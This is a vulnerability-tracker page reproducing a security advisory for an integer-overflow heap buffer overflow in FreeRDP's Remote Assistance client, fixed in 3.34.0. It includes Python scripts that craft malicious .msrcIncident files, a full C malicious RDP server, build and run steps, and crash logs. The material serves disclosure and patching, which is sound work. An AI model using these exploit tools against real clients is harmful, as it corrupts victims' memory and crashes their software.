Read the docs

Heap buffer overflow in FreeRDP Remote Assistance client

Priority LOW 32CWE-190Published · Updated

Key facts

Attack vector
Local
Privileges required
None
User interaction
Required
Attack complexity
High
Impact type
—
Confidentiality · integrity · availability
None · Low · Low
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-8jpm-c2mx-528q. Fix status from GitHub.

Summary

FreeRDP from 2.0.0 before 3.34.0 has a heap buffer overflow in its Remote Assistance client. An integer overflow (CWE-190) in the size calculation for the authenticate PDU wraps a 32-bit value, so the client copies attacker-controlled data past a small heap buffer. An attacker who runs a malicious Remote Assistance server and supplies a crafted .msrcIncident file can trigger it when a user opens that file.

Written with Claude Haiku 5.5 from the sources below · 2026-12-03

Description from the GitHub advisory

### Summary A malicious Remote Assistance server combined with a crafted Remote Assistance (`.msrcIncident`) file causes the FreeRDP client to compute a PDU buffer allocation size with 32-bit arithmetic that wraps. The client then copies a ~4.3 GB attacker-controlled payload into the resulting 10-byte heap buffer. On a build with `WINPR_ASSERT` disabled (`-DWITH_VERBOSE_WINPR_ASSERT=OFF`) the result is a deterministic heap buffer overflow: the AddressSanitizer build reports a `heap-buffer-overflow` WRITE, and the optimized build without a sanitizer takes a `SIGSEGV` and then aborts in glibc with `malloc(): corrupted top size`. The allocation size is tunable by the input (2, 10, 20-byte regions demonstrated), and the bulk of the overflowing bytes is attacker-chosen ticket data. On the default build (`WINPR_ASSERT` enabled) a capacity assert in the stream write helpers fires before the out-of-bounds write and the client aborts (determined from source; that configuration was not run). CVSS 3.1: **5.3 Medium** (`AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:H`). The attack complexity is High because a successful overflow requires the victim host to have roughly 10 GiB of free memory (measured peak RSS 10.02 GiB); on a host capped at 8 GiB the client stalls without crashing, and under forced allocation failure it exits cleanly. Verified against git master `6dddcd3e6` (`git describe`: `3.33.1-263-g6dddcd3e6`). ### Details The defect is in the Remote Assistance (remdesk) client channel, `channels/remdesk/client/remdesk_main.c`, function `remdesk_send_ctl_authenticate_pdu()` (starts at line 282). The client converts two attacker-influenced strings to UTF-16 — the RCTICKET connection string from the `.msrcIncident` file and the expert blob — and sums their lengths: ```c // remdesk_main.c:305-320 (git master 6dddcd3e6) WCHAR* raConnectionStringW = ConvertUtf8ToWCharAlloc(raConnectionString, &cbRaConnectionStringW); if (!raConnectionStringW || (cbRaConnectionStringW > UINT32_MAX / sizeof(WCHAR))) goto out; cbRaConnectionStringW = cbRaConnectionStringW * sizeof(WCHAR); expertBlobW = ConvertUtf8ToWCharAlloc(expertBlob, &cbExpertBlobW); if (!expertBlobW) goto out; cbExpertBlobW = cbExpertBlobW * sizeof(WCHAR); error = remdesk_prepare_ctl_header(&(ctlHeader), REMDESK_CTL_AUTHENTICATE, cbRaConnectionStringW + cbExpertBlobW); ``` `remdesk_prepare_ctl_header()` (`channels/remdesk/common/remdesk_common.c:93`) rejects only `msgSize > UINT32_MAX - 4` and then stores a 32-bit sum: ```c // remdesk_common.c:97-103 if (msgSize > UINT32_MAX - 4) return ERROR_INVALID_PARAMETER; ctlHeader->msgType = msgType; ... ctlHeader->ch.DataLength = (UINT32)(4UL + msgSize); ``` A `msgSize` just below `UINT32_MAX` passes this check, and `DataLength` wraps to a small value. The allocation at **remdesk_main.c:325** then adds the channel-header size using the same 32-bit type — this is the defect: ```c // remdesk_main.c:325 wStream* s = Stream_New(nullptr, REMDESK_CHANNEL_CTL_SIZE + ctlHeader.ch.DataLength); ``` `REMDESK_CHANNEL_CTL_SIZE` is 22 (`include/freerdp/channels/remdesk.h:94`) and `DataLength` is `UINT32` (`remdesk.h:89`), so `22 + DataLength` is evaluated in 32 bits and wraps. With the PoC's `msgSize = 4294967280`: ``` DataLength = (4 + 4294967280) mod 2^32 = 4294967284 alloc size = (22 + 4294967284) mod 2^32 = 10 <-- 10-byte heap buffer bytes written = 26 (header) + 4294967280 (payload) <-- ~4.3 GB ``` `Stream_New(nullptr, 10)` succeeds (`winpr/libwinpr/utils/stream.c:130`, `calloc(size, sizeof(BYTE))`), and the subsequent writes are guarded only by `WINPR_ASSERT` (`winpr/include/winpr/stream.h:1185-1193`). With the default `WITH_VERBOSE_WINPR_ASSERT=ON` that assert aborts the client; with it off, the check is compiled out and the write proceeds: ```c static inline void Stream_Write(wStream* _s, const void* _b, size_t _n) { if (_n > 0) { WINPR_ASSERT(_s); WINPR_ASSERT(_b); WINPR_ASSERT(Stream_GetRemainingCapacity(_s) >= _n); memcpy(_s->pointer, (_b), (_n)); ``` so `remdesk_write_ctl_header()` (called at remdesk_main.c:333) and the two `Stream_Write()` payload calls that follow overflow the chunk immediately. Notes: * The identical unguarded expression also exists in `remdesk_send_ctl_remote_control_desktop_pdu()` (remdesk_main.c:386) and `remdesk_send_ctl_expert_on_vista_pdu()` (remdesk_main.c:505). The sibling `remdesk_send_ctl_verify_password_pdu()` (remdesk_main.c:448) already uses the widened form `1ULL * REMDESK_CHANNEL_CTL_SIZE + ...`, confirming the intended pattern. * Reachability: the vulnerable call is taken when the server announces protocol version 1 (`remdesk_main.c:587` dispatches to `remdesk_send_ctl_authenticate_pdu()` at :596). The in-tree server announces version 2 (`channels/remdesk/server/remdesk_main.c:112`), but version 1.x is a legitimate MS-RDPRA version a malicious server is free to announce. The RCTICKET length is fully attacker-chosen: it is read verbatim from the `.msrcIncident` file (`libfreerdp/common/assistance.c:1125`, stored at :1344/:1350) with no length cap, and using a Remote Assistance file auto-enables the remdesk channel (`client/common/cmdline.c:6759`). ### Proof of concept All steps were run on Ubuntu 24.04 (gcc 13.3, cmake 3.28) against the git tree at `6dddcd3e6`. **1. Build the client (AddressSanitizer variant and release variant):** ```sh git clone <freerdp> && cd freerdp # master 6dddcd3e6 # ASan build (builtin unicode backend): cmake -B build-asan -DCMAKE_BUILD_TYPE=Release -DWITH_UNICODE_BUILTIN=ON \ -DWITH_VERBOSE_WINPR_ASSERT=OFF -DBUILD_TESTING=OFF -DWITH_FFMPEG=OFF \ -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \ -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \ -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address" cmake --build build-asan -j # (For the default ICU backend instead: -DWITH_UNICODE_BUILTIN=OFF) # Release build (no sanitizer): cmake -B build-release -DCMAKE_BUILD_TYPE=Release -DWITH_UNICODE_BUILTIN=ON \ -DWITH_VERBOSE_WINPR_ASSERT=OFF -DBUILD_TESTING=OFF -DWITH_FFMPEG=OFF cmake --build build-release -j ``` **2. Craft the malicious Remote Assistance file.** The RCTICKET (connection string 1) is padded so that `strlen(ticket)*2 + cbExpertBlobW` lands just below 2^32. The expert blob contributes 164 bytes (`cbExpertBlobW`, confirmed by the 10-byte allocation the ASan run observes), so the ticket needs `strlen = (4294967280 - 164)/2 = 2147483558`: ```python #!/usr/bin/env python3 """ Craft a malicious .msrcIncident Remote Assistance file that triggers the integer overflow in channels/remdesk/client/remdesk_main.c:325 (REMDESK_CHANNEL_CTL_SIZE + ctlHeader.ch.DataLength evaluated as UINT32). The RCTICKET (connection string 1) is converted to UTF-16 by the client: cbRaConnectionStringW = strlen(ticket)*2 (ConvertUtf8ToWCharAlloc, ASCII) msgSize = cbRaConnectionStringW + cbExpertBlobW DataLength = 4 + msgSize (remdesk_prepare_ctl_header) Stream_New size = 22 + DataLength (32-bit wrap!) -> (26+msgSize) mod 2**32 Pick the ticket length so msgSize lands in [4294967271, 4294967291], making the wrapped allocation 1..21 bytes while 26+msgSize bytes are written. """ import sys # expert blob: "%d;NAME=%s%d;PASS=%s" (remdesk_generate_expert_blob) USERNAME = "expert" PASSSTUB = "1234567890123" # 13 chars RA_SESSION = "RA1" SERVER_IP = "127.0.0.1:3390" # cbExpertBlobW = 164 for the parameters below (expert blob = "%d;NAME=%s%d;PASS=%s" # with hex(encrypted PassStub)); confirmed by the 10-byte allocation observed in the ASan run cb_expert_blob_w = 164 prefix = f"65538,1,{SERVER_IP},*,{RA_SESSION},*,*," def ticket_for_msgsize(msg_size: int) -> str: # ConvertUtf8ToWCharAlloc returns strlen (excl. NUL) for ASCII -> cbRa = strlen*2 cb_ra = msg_size - cb_expert_blob_w assert cb_ra % 2 == 0 and cb_ra > 0 strlen_ticket = cb_ra // 2 filler = strlen_ticket - len(prefix) assert filler > 0 return prefix + "A" * filler def main(): msg_size = int(sys.argv[2]) if len(sys.argv) > 2 else 4294967280 out = sys.argv[1] ticket = ticket_for_msgsize(msg_size) wrapped = (26 + msg_size) % (2**32) uploaddata = (f'<UPLOADDATA USERNAME="{USERNAME}" RCTICKET="{ticket}" ' f'RCTICKETENCRYPTED="0" PassStub="{PASSSTUB}" ' f'DtStart="40000000" DtLength="1200" L="0"/>') doc = ('<?xml version="1.0"?>\n<UPLOADINFO TYPE="Escalated">\n' + uploaddata + '\n</UPLOADINFO>\n') with open(out, "w") as f: f.write(doc) print(f"ticket strlen = {len(ticket)}") print(f"cbExpertBlobW = {cb_expert_blob_w}") print(f"cbRaConnectionStringW= {len(ticket)*2}") print(f"msgSize = {len(ticket)*2 + cb_expert_blob_w}") print(f"DataLength = {4 + len(ticket)*2 + cb_expert_blob_w}") print(f"wrapped Stream_New = {wrapped} bytes") print(f"wrote {out} ({len(doc)} bytes)") main() ``` ```sh python3 make_evil_file.py evil.msrcIncident # 10-byte allocation python3 make_evil_file.py evil_alloc2.msrcIncident 4294967272 # 2-byte python3 make_evil_file.py evil_alloc20.msrcIncident 4294967290 # 20-byte ``` The script above targets the builtin unicode backend (`-DWITH_UNICODE_BUILTIN=ON`). The default backend on Linux is ICU, which caps each conversion at `INT32_MAX` bytes of UTF-16, so a single 4 GB ticket is rejected. Splitting the length between the ticket and the PassStub (which becomes hex inside the expert blob) keeps each conversion under the cap while their sum still wraps: ```python #!/usr/bin/env python3 """ Craft a malicious .msrcIncident file that triggers the remdesk_main.c:325 integer overflow even on ICU-backend builds (WITH_UNICODE_BUILTIN=OFF, the Linux default). The ICU ucnv_convert limit is per-conversion (UTF-16 byte count <= INT32_MAX, i.e. <= 1073741822 chars per string). msgSize = cbRaConnectionStringW + cbExpertBlobW is the SUM of two conversions, so split the ~4 GB between (a) the RCTICKET (~1.07 GB chars) and (b) the PassStub (~268 MB chars, which becomes ~1.07 GB of hex inside the expert blob). Each conversion stays under the limit; their sum wraps the 32-bit Stream_New size. """ import sys USERNAME = "expert" RA_SESSION = "RA1" SERVER = "127.0.0.1:3390" prefix = f"65538,1,{SERVER},*,{RA_SESSION},*,*," MAX_CONV_CHARS = 1073741822 # 2*(n+1) <= INT32_MAX def expert_len(passstub_len: int) -> int: # ConvertUtf8ToWCharAlloc returns strlen (excl. NUL) -> cbPassStubW = 2*len enc = passstub_len * 2 + 4 hex_len = 2 * enc pass_len = hex_len + 5 name_len = len(USERNAME) + 5 # "%d;NAME=%s" + "%d;PASS=" + hex return len(f"{name_len};NAME={USERNAME}{pass_len};PASS=") + hex_len def main(): out = sys.argv[1] msg_target = int(sys.argv[2]) if len(sys.argv) > 2 else 4294967280 # ticket at max convertible size ticket_chars = MAX_CONV_CHARS cb_ra = ticket_chars * 2 cb_expert_want = msg_target - cb_ra expert_chars_want = cb_expert_want // 2 - 1 # solve passstub length lo, hi = 0, 10**9 while lo < hi: mid = (lo + hi) // 2 if expert_len(mid) < expert_chars_want: lo = mid + 1 else: hi = mid P = lo # expert length granularity is 4 chars; absorb the slack in the ticket cb_expert_actual = expert_len(P) * 2 ticket_chars = (msg_target - cb_expert_actual) // 2 assert ticket_chars <= MAX_CONV_CHARS and ticket_chars > len(prefix) assert (ticket_chars * 2 + cb_expert_actual) == msg_target ticket = prefix + "A" * (ticket_chars - len(prefix)) passstub = "S" * P assert len(ticket) == ticket_chars doc = ('<?xml version="1.0"?>\n<UPLOADINFO TYPE="Escalated">\n' f'<UPLOADDATA USERNAME="{USERNAME}" RCTICKET="{ticket}" ' f'RCTICKETENCRYPTED="0" PassStub="{passstub}" ' 'DtStart="40000000" DtLength="1200" L="0"/>\n</UPLOADINFO>\n') open(out, "w").write(doc) cb_expert = (expert_len(P) + 1) * 2 print(f"ticket chars = {len(ticket)} (cbRa={len(ticket)*2})") print(f"passstub chars = {P} (expert blob {expert_len(P)} chars, cbExpert={cb_expert})") print(f"msgSize = {len(ticket)*2 + cb_expert}") print(f"wrapped Stream_New = {(26 + len(ticket)*2 + cb_expert) % 2**32} bytes") print(f"wrote {out} ({len(doc)} bytes)") main() ``` ```sh python3 make_evil_file_icu.py evil_icu.msrcIncident # 10-byte allocation, ICU backend ``` **3. Malicious server.** A minimal RDP server built on the FreeRDP server API (`freerdp_listener`/`freerdp_peer`) that offers the `remdesk` static channel and starts the in-tree remdesk server channel on connect. To make it announce protocol version 1.1 — a legitimate MS-RDPRA version the stock in-tree server does not announce — change one line of the in-tree server channel before building: ```c // channels/remdesk/server/remdesk_main.c:112 - pdu.versionMinor = 2; + pdu.versionMinor = 1; ``` Server source (`evil_remdesk_server.c`): ```c /* * evil_remdesk_server.c - minimal malicious RDP server for PoC of the * remdesk client-channel integer overflow (remdesk_main.c:325). * * It is a legitimate FreeRDP server (freerdp_listener + freerdp_peer from the * in-tree libfreerdp-server library) with exactly two properties that make it * "malicious" for the Remote Assistance scenario: * 1. it offers the "remdesk" static channel, and * 2. the remdesk server channel announces protocol version 1.1 * (a legitimate MS-RDPRA version; the in-tree channel code was patched * one line, versionMinor 2 -> 1, in the build used for this test to do this). * * A client in Remote Assistance mode that received a crafted RCTICKET then * runs remdesk_send_ctl_authenticate_pdu() and overflows the heap chunk. */ #include <freerdp/config.h> #include <stdio.h> #include <string.h> #include <winpr/crt.h> #include <winpr/sspi.h> #include <winpr/ssl.h> #include <winpr/wtsapi.h> #include <freerdp/freerdp.h> #include <freerdp/listener.h> #include <freerdp/crypto/certificate.h> #include <freerdp/crypto/privatekey.h> #include <freerdp/channels/wtsvc.h> #include <freerdp/channels/channels.h> #include <freerdp/server/remdesk.h> typedef struct { HANDLE vcm; RemdeskServerContext* remdesk; } evilContext; static evilContext g_ctx = { 0 }; static BOOL evil_post_connect(freerdp_peer* client) { evilContext* ctx = &g_ctx; WINPR_ASSERT(client && client->context); printf("[evil] post-connect, vcm=%p\n", (void*)ctx->vcm); if (WTSVirtualChannelManagerIsChannelJoined(ctx->vcm, "remdesk")) { printf("[evil] remdesk channel joined -> starting remdesk server channel " "(will announce version 1.1)\n"); fflush(stdout); ctx->remdesk = remdesk_server_context_new(ctx->vcm); if (!ctx->remdesk) return FALSE; ctx->remdesk->rdpcontext = client->context; ctx->remdesk->Start(ctx->remdesk); } else printf("[evil] remdesk channel NOT joined\n"); fflush(stdout); return TRUE; } static BOOL evil_activate(freerdp_peer* client) { printf("[evil] client activated\n"); fflush(stdout); return TRUE; } static BOOL evil_refresh_rect(rdpContext* context, BYTE count, const RECTANGLE_16* areas) { (void)context; (void)count; (void)areas; return TRUE; } static BOOL evil_suppress_output(rdpContext* context, BYTE allow, const RECTANGLE_16* area) { (void)context; (void)allow; (void)area; return TRUE; } static DWORD WINAPI evil_peer_thread(LPVOID arg) { freerdp_peer* client = (freerdp_peer*)arg; evilContext* ctx = NULL; rdpSettings* settings = NULL; HANDLE handles[32]; WINPR_ASSERT(client); if (!freerdp_peer_context_new(client)) goto fail; ctx = &g_ctx; ctx->vcm = WTSOpenServerA((LPSTR)client->context); if (!ctx->vcm || ctx->vcm == INVALID_HANDLE_VALUE) goto fail; settings = client->context->settings; WINPR_ASSERT(settings); rdpPrivateKey* key = freerdp_key_new_from_file("server.key"); if (!key) goto fail; if (!freerdp_settings_set_pointer_len(settings, FreeRDP_RdpServerRsaKey, key, 1)) goto fail; rdpCertificate* cert = freerdp_certificate_new_from_file("server.crt"); if (!cert) goto fail; if (!freerdp_settings_set_pointer_len(settings, FreeRDP_RdpServerCertificate, cert, 1)) goto fail; (void)freerdp_settings_set_bool(settings, FreeRDP_RdpSecurity, TRUE); (void)freerdp_settings_set_bool(settings, FreeRDP_TlsSecurity, TRUE); (void)freerdp_settings_set_bool(settings, FreeRDP_NlaSecurity, FALSE); (void)freerdp_settings_set_uint32(settings, FreeRDP_EncryptionLevel, ENCRYPTION_LEVEL_CLIENT_COMPATIBLE); (void)freerdp_settings_set_uint32(settings, FreeRDP_MultifragMaxRequestSize, 0xFFFFFF); /* Offer the "remdesk" static channel to the client. * The array must be CHANNEL_MAX_COUNT entries (mcs_server_apply_to_settings * writes the client's requested channels into it). */ { CHANNEL_DEF defs[CHANNEL_MAX_COUNT]; memset(defs, 0, sizeof(defs)); (void)memcpy(defs[0].name, "remdesk", 8); defs[0].options = CHANNEL_OPTION_INITIALIZED | CHANNEL_OPTION_ENCRYPT_RDP | CHANNEL_OPTION_COMPRESS_RDP | CHANNEL_OPTION_SHOW_PROTOCOL; if (!freerdp_settings_set_pointer_len(settings, FreeRDP_ChannelDefArray, defs, CHANNEL_MAX_COUNT)) goto fail; if (!freerdp_settings_set_uint32(settings, FreeRDP_ChannelCount, 1)) goto fail; } client->PostConnect = evil_post_connect; client->Activate = evil_activate; client->context->update->RefreshRect = evil_refresh_rect; client->context->update->SuppressOutput = evil_suppress_output; if (!client->Initialize(client)) { printf("[evil] client Initialize failed\n"); goto fail; } printf("[evil] connection established with %s, pumping events\n", client->hostname); fflush(stdout); while (TRUE) { DWORD count = 0; DWORD tmp = client->GetEventHandles(client, handles, 32); if (tmp == 0) break; count += tmp; handles[count++] = WTSVirtualChannelManagerGetEventHandle(ctx->vcm); DWORD status = WaitForMultipleObjects(count, handles, FALSE, INFINITE); if (status == WAIT_FAILED) break; if (client->CheckFileDescriptor(client) != TRUE) break; if (WTSVirtualChannelManagerCheckFileDescriptor(ctx->vcm) != TRUE) break; } printf("[evil] client disconnected\n"); fflush(stdout); fail: if (g_ctx.remdesk) { g_ctx.remdesk->Stop(g_ctx.remdesk); remdesk_server_context_free(g_ctx.remdesk); g_ctx.remdesk = NULL; } if (g_ctx.vcm) { WTSCloseServer(g_ctx.vcm); g_ctx.vcm = NULL; } if (client) { if (client->Disconnect) client->Disconnect(client); freerdp_peer_context_free(client); freerdp_peer_free(client); } return 0; } static BOOL evil_peer_accepted(freerdp_listener* instance, freerdp_peer* client) { HANDLE h = CreateThread(NULL, 0, evil_peer_thread, client, 0, NULL); (void)instance; if (!h) return FALSE; CloseHandle(h); return TRUE; } int main(int argc, char* argv[]) { freerdp_listener* listener = NULL; UINT16 port = 3389; WSADATA wsaData = { 0 }; if (argc > 1) port = (UINT16)atoi(argv[1]); WTSRegisterWtsApiFunctionTable(FreeRDP_InitWtsApi()); winpr_InitializeSSL(WINPR_SSL_INIT_DEFAULT); listener = freerdp_listener_new(); if (!listener) return -1; listener->PeerAccepted = evil_peer_accepted; if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { freerdp_listener_free(listener); return -1; } if (!listener->Open(listener, NULL, port)) { printf("[evil] failed to open listener on port %" PRIu16 "\n", port); fflush(stdout); freerdp_listener_free(listener); WSACleanup(); return -1; } printf("[evil] listening on port %" PRIu16 "\n", port); fflush(stdout); while (TRUE) { HANDLE handles[32]; DWORD count = listener->GetEventHandles(listener, handles, 32); if (count == 0) break; (void)WaitForMultipleObjects(count, handles, FALSE, INFINITE); if (listener->CheckFileDescriptor(listener) != TRUE) break; } freerdp_listener_free(listener); WSACleanup(); return 0; } ``` Build and start it (the server reads `server.crt`/`server.key` from the working directory; the `.msrcIncident` files above point at port 3390): ```sh openssl req -x509 -newkey rsa:2048 -nodes -keyout server.key -out server.crt -days 1 -subj /CN=localhost gcc -g -o evil_srv evil_remdesk_server.c \ -I<src>/include -I<build>/include -I<src>/winpr/include -I<build>/winpr/include \ -L<build>/server/common -L<build>/libfreerdp -L<build>/winpr/libwinpr \ -lfreerdp-server3 -lfreerdp3 -lwinpr3 LD_LIBRARY_PATH=<build>/server/common:<build>/libfreerdp:<build>/winpr/libwinpr ./evil_srv 3390 ``` (Add `-fsanitize=address` when linking against the ASan build.) **4. Run the official in-tree client** (`client/Sample/sfreerdp`) against it: ```sh build-asan/client/Sample/sfreerdp evil.msrcIncident /p:RApass /cert:ignore /sec:tls ``` (`/sec:tls` selects plain TLS security so the session reaches the channel layer without CredSSP.) **Expected result — ASan build** (deterministic, 3/3 runs, identical address): ``` ==1557480==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50200004411a WRITE of size 14 at 0x50200004411a thread T5 #2 Stream_Write winpr/include/winpr/stream.h:1192 #3 remdesk_write_channel_header channels/remdesk/common/remdesk_common.c:44 #4 remdesk_write_ctl_header channels/remdesk/common/remdesk_common.c:51 #5 remdesk_send_ctl_authenticate_pdu channels/remdesk/client/remdesk_main.c:333 #6 remdesk_recv_ctl_pdu channels/remdesk/client/remdesk_main.c:596 ... 0x50200004411a is located 0 bytes after 10-byte region [0x502000044110,0x50200004411a) allocated by thread T5 here: #1 Stream_New winpr/libwinpr/utils/stream.c:130 #2 remdesk_send_ctl_authenticate_pdu channels/remdesk/client/remdesk_main.c:325 ``` **Expected result — release build (no sanitizer):** ``` [ERROR][com.freerdp.utils.signal.posix] - [fatal_handler]: Caught signal 'Segmentation fault' [11] malloc(): corrupted top size Aborted # SIGABRT, exit 134, ~40 s after start ``` **Attacker control of the fault** (same build, different ticket lengths): | input | wrapped allocation | first out-of-bounds write | |---|---|---| | `evil.msrcIncident` (msgSize 4294967280) | 10-byte region | WRITE of size 14 | | `evil_alloc2.msrcIncident` (msgSize 4294967272) | 2-byte region | WRITE of size 1 | | `evil_alloc20.msrcIncident` (msgSize 4294967290) | 20-byte region | WRITE of size 14 | **Memory conditions for success** (release build, builtin backend; `/usr/bin/time -v`, cgroup via `systemd-run --user --scope -p MemoryMax=...`): | condition | outcome | peak RSS | |---|---|---| | unconstrained (host with 84 GiB free) | crash, `malloc(): corrupted top size` | 10.02 GiB, 39.8 s | | 16 GiB cgroup | crash (builtin exit 134; ICU/ASan exit 1) | 10.02 GiB / 8.13 GiB | | 8 GiB cgroup | client stalls in file processing, **no crash**, never connects | — | | `ulimit -v 5 GiB` / `6.5 GiB` | clean exit (rc 22), no crash | 4.0 / 6.0 GiB | The same fault reproduces with the default ICU unicode backend (`-DWITH_UNICODE_BUILTIN=OFF`, ticket sized via the ICU recipe): identical `heap-buffer-overflow`, 10-byte region, same allocation site. ### Impact **Type:** CWE-190 integer overflow leading to a heap buffer overflow (CWE-787) — an out-of-bounds **write** of attacker-controlled data. **Who is impacted:** users of any FreeRDP-based client (`xfreerdp`, `wfreerdp`, `sfreerdp`, and third-party applications using `libfreerdp` + the remdesk channel) who open a malicious Remote Assistance file and connect to a malicious Remote Assistance server — e.g. a file delivered by email or download and a server address it embeds. **Consequence:** the client copies ~4.3 GB of attacker-chosen bytes (the ticket filler, plus the channel header) into a heap allocation the attacker shrinks to 1–21 bytes. The overflow deterministically corrupts the heap and crashes the client (availability). The overflowing content and the allocation size are attacker-controlled, so this is heap corruption (integrity), but the multi-gigabyte copy faults long before it completes and code execution was not demonstrated. On the default build the client aborts on the assert instead. Success requires the victim host to have ~10 GiB of free memory at the time of the session; on memory-constrained hosts the client stalls or exits cleanly instead (basis for `AC:H`).

Why it matters now

Fix Fixed FreeRDP (c): 3.34.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)>= 2.0.03.34.0Patch availableGHSA-8jpm-c2mx-528q
  • FreeRDP (c) Vendor— Affected >= 2.0.0 Fixed in 3.34.0 Patch available GHSA-8jpm-c2mx-528q

Remediation

Upgrade FreeRDP to version 3.34.0 or later, which fixes this flaw.

Written with Claude Haiku 5.5 from the sources below · 2026-12-03

  • Fix · GHSA-8jpm-c2mx-528q FreeRDP (c) Fixed in 3.34.0 Advisory →

Timeline

  1. 2026-12-03 Threatist record created from GHSA-8jpm-c2mx-528q

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences